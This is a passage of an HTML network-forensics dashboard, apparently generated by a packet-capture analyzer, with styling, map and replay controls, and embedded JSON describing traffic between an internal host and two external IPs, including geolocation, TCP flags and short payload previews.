  display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 1316, \"total_bytes_sent\": 39497, \"total_bytes_received\": 46609, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\"], \"ports_used\": [64032, 64035, 64073, 64078, 64084, 64089, 64095, 64101, 64106, 64111, 64117, 64118], \"first_seen\": 1782896702.354994, \"last_seen\": 1782897355.001784, \"packets\": [{\"num\": 1266, \"time\": 1782897330.016806, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1267, \"time\": 1782897331.032429, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1268, \"time\": 1782897331.032467, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1269, \"time\": 1782897332.048074, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1270, \"time\": 1782897332.048109, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1271, \"time\": 1782897333.063827, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1272, \"time\": 1782897333.063864, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1273, \"time\": 1782897334.079467, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1274, \"time\": 1782897334.079503, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1275, \"time\": 1782897335.095055, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1276, \"time\": 1782897335.09509, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1277, \"time\": 1782897336.095088, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1278, \"time\": 1782897336.095123, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1279, \"time\": 1782897337.110744, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1280, \"time\": 1782897337.110776, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1281, \"time\": 1782897338.111026, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1282, \"time\": 1782897338.11106, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1283, \"time\": 1782897338.804122, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1284, \"time\": 1782897338.804274, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1285, \"time\": 1782897338.804814, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1286, \"time\": 1782897338.804833, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1287, \"time\": 1782897342.832027, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1288, \"time\": 1782897342.832079, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1289, \"time\": 1782897342.832331, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1290, \"time\": 1782897342.847263, \"size\": 215, \"direction\": \"sent\"}, {\"num\": 1291, \"time\": 1782897342.847289, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1292, \"time\": 1782897343.860832, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1293, \"time\": 1782897343.86085, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1294, \"time\": 1782897344.876546, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1295, \"time\": 1782897344.876577, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1296, \"time\": 1782897345.892149, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1297, \"time\": 1782897345.892177, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1298, \"time\": 1782897346.907856, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1299, \"time\": 1782897346.907877, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1300, \"time\": 1782897347.923513, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1301, \"time\": 1782897347.923548, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1302, \"time\": 1782897348.923541, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1303, \"time\": 1782897348.923576, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1304, \"time\": 1782897349.923527, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1305, \"time\": 1782897349.923558, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1306, \"time\": 1782897350.939201, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1307, \"time\": 1782897350.939234, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1308, \"time\": 1782897351.954855, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1309, \"time\": 1782897351.954891, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1310, \"time\": 1782897352.97046, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1311, \"time\": 1782897352.970494, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1312, \"time\": 1782897353.986149, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1313, \"time\": 1782897353.986184, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1314, \"time\": 1782897355.001768, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 1315, \"time\": 1782897355.001784, \"size\": 66, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 652.6467900276184, \"avg_packet_size\": 65.43009118541033, \"packets_per_second\": 2.016404615955148}, {\"id\": \"192.163.167.137\", \"ip\": \"192.163.167.137\", \"packet_count\": 1303, \"total_bytes_sent\": 41856, \"total_bytes_received\": 38702, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"ports_used\": [8000], \"first_seen\": 1782896702.354994, \"last_seen\": 1782897355.001784, \"packets\": [{\"num\": 1266, \"time\": 1782897330.016806, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1267, \"time\": 1782897331.032429, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1268, \"time\": 1782897331.032467, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1269, \"time\": 1782897332.048074, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1270, \"time\": 1782897332.048109, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1271, \"time\": 1782897333.063827, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1272, \"time\": 1782897333.063864, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1273, \"time\": 1782897334.079467, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1274, \"time\": 1782897334.079503, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1275, \"time\": 1782897335.095055, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1276, \"time\": 1782897335.09509, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1277, \"time\": 1782897336.095088, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1278, \"time\": 1782897336.095123, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1279, \"time\": 1782897337.110744, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1280, \"time\": 1782897337.110776, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1281, \"time\": 1782897338.111026, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1282, \"time\": 1782897338.11106, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1283, \"time\": 1782897338.804122, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1284, \"time\": 1782897338.804274, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1285, \"time\": 1782897338.804814, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1286, \"time\": 1782897338.804833, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1287, \"time\": 1782897342.832027, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1288, \"time\": 1782897342.832079, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1289, \"time\": 1782897342.832331, \"size\": 54, \"direction\": \"received\"}, {\"num\": 1290, \"time\": 1782897342.847263, \"size\": 215, \"direction\": \"received\"}, {\"num\": 1291, \"time\": 1782897342.847289, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 1292, \"time\": 1782897343.860832, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1293, \"time\": 1782897343.86085, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1294, \"time\": 1782897344.876546, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1295, \"time\": 1782897344.876577, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1296, \"time\": 1782897345.892149, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1297, \"time\": 1782897345.892177, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1298, \"time\": 1782897346.907856, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1299, \"time\": 1782897346.907877, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1300, \"time\": 1782897347.923513, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1301, \"time\": 1782897347.923548, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1302, \"time\": 1782897348.923541, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1303, \"time\": 1782897348.923576, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1304, \"time\": 1782897349.923527, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1305, \"time\": 1782897349.923558, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1306, \"time\": 1782897350.939201, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1307, \"time\": 1782897350.939234, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1308, \"time\": 1782897351.954855, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1309, \"time\": 1782897351.954891, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1310, \"time\": 1782897352.97046, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1311, \"time\": 1782897352.970494, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1312, \"time\": 1782897353.986149, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1313, \"time\": 1782897353.986184, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1314, \"time\": 1782897355.001768, \"size\": 55, \"direction\": \"received\"}, {\"num\": 1315, \"time\": 1782897355.001784, \"size\": 66, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"Singapore\", \"city\": \"Unknown\", \"lat\": 1.3667, \"lon\": 103.8, \"asn\": 138995, \"isp\": \"Antbox Networks Limited\", \"network\": \"192.163.166.0/23\"}, \"duration\": 652.6467900276184, \"avg_packet_size\": 61.82501918649271, \"packets_per_second\": 1.9964857253720045}, {\"id\": \"194.36.32.207\", \"ip\": \"194.36.32.207\", \"packet_count\": 13, \"total_bytes_sent\": 4753, \"total_bytes_received\": 795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1782896707.341825, \"last_seen\": 1782896725.546681, \"packets\": [{\"num\": 13, \"time\": 1782896707.341825, \"size\": 66, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1782896707.34186, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1782896707.34216, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1782896707.342207, \"size\": 459, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1782896707.342212, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1782896713.657049, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1782896713.657465, \"size\": 54, \"direction\": \"received\"}, {\"num\": 34, \"time\": 1782896713.657539, \"size\": 423, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1782896713.657634, \"size\": 54, \"direction\": \"received\"}, {\"num\": 62, \"time\": 1782896725.54649, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 63, \"time\": 1782896725.546602, \"size\": 54, \"direction\": \"received\"}, {\"num\": 64, \"time\": 1782896725.54667, \"size\": 54, \"direction\": \"received\"}, {\"num\": 65, \"time\": 1782896725.546681, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"194.36.32.0/23\"}, \"duration\": 18.204855918884277, \"avg_packet_size\": 426.7692307692308, \"packets_per_second\": 0.7140951874557177}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"192.163.167.137\", \"packet_count\": 657, \"total_bytes\": 38702, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [64032, 64073, 64078, 64084, 64089, 64095, 64101, 64106, 64111, 64117, 64118], \"dst_ports\": [8000], \"first_packet\": 1782896702.354994, \"last_packet\": 1782897355.001768, \"packets\": [{\"packet_number\": 1217, \"timestamp\": 1782897305.969304, \"timestamp_iso\": \"2026-07-01T14:45:05.969304\", \"timestamp_human\": \"2026-07-01 14:45:05.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45558, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548631, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1219, \"timestamp\": 1782897306.984924, \"timestamp_iso\": \"2026-07-01T14:45:06.984924\", \"timestamp_human\": \"2026-07-01 14:45:06.984\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45559, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548631, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1221, \"timestamp\": 1782897308.000611, \"timestamp_iso\": \"2026-07-01T14:45:08.000611\", \"timestamp_human\": \"2026-07-01 14:45:08.000\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45560, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548631, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1223, \"timestamp\": 1782897308.909039, \"timestamp_iso\": \"2026-07-01T14:45:08.909039\", \"timestamp_human\": \"2026-07-01 14:45:08.909\", \"size\": 75, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45561, \"ip_len\": 61, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548632, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 21, \"payload_preview\": \"1100c0ff1100000001000000789ceb0300008f008f\", \"payload_ascii\": \"\\u0011\\u0000\\u0011\\u0000\\u0000\\u0000\\u0001\\u0000\\u0000\\u0000x\\u0003\\u0000\\u0000\\u0000\"}, {\"packet_number\": 1225, \"timestamp\": 1782897309.922516, \"timestamp_iso\": \"2026-07-01T14:45:09.922516\", \"timestamp_human\": \"2026-07-01 14:45:09.922\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45562, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1227, \"timestamp\": 1782897310.938157, \"timestamp_iso\": \"2026-07-01T14:45:10.938157\", \"timestamp_human\": \"2026-07-01 14:45:10.938\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45563, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1229, \"timestamp\": 1782897311.938217, \"timestamp_iso\": \"2026-07-01T14:45:11.938217\", \"timestamp_human\": \"2026-07-01 14:45:11.938\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45564, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1231, \"timestamp\": 1782897312.95385, \"timestamp_iso\": \"2026-07-01T14:45:12.953850\", \"timestamp_human\": \"2026-07-01 14:45:12.953\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45565, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1233, \"timestamp\": 1782897313.95406, \"timestamp_iso\": \"2026-07-01T14:45:13.954060\", \"timestamp_human\": \"2026-07-01 14:45:13.954\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45566, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1235, \"timestamp\": 1782897314.969516, \"timestamp_iso\": \"2026-07-01T14:45:14.969516\", \"timestamp_human\": \"2026-07-01 14:45:14.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45567, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1237, \"timestamp\": 1782897315.969558, \"timestamp_iso\": \"2026-07-01T14:45:15.969558\", \"timestamp_human\": \"2026-07-01 14:45:15.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45568, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1239, \"timestamp\": 1782897316.969587, \"timestamp_iso\": \"2026-07-01T14:45:16.969587\", \"timestamp_human\": \"2026-07-01 14:45:16.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45569, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 8000, \"tcp_seq\": 132548652, \"tcp_ack\": 958171291, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1241, \"timestamp\": 1782897317.969715, \"timestamp_iso\": \"2026-07-01T14:45:17.969715\", \"timestamp_human\": \"2026-07-01 14:45:17.969\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45570, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64117, \"dst_port\": 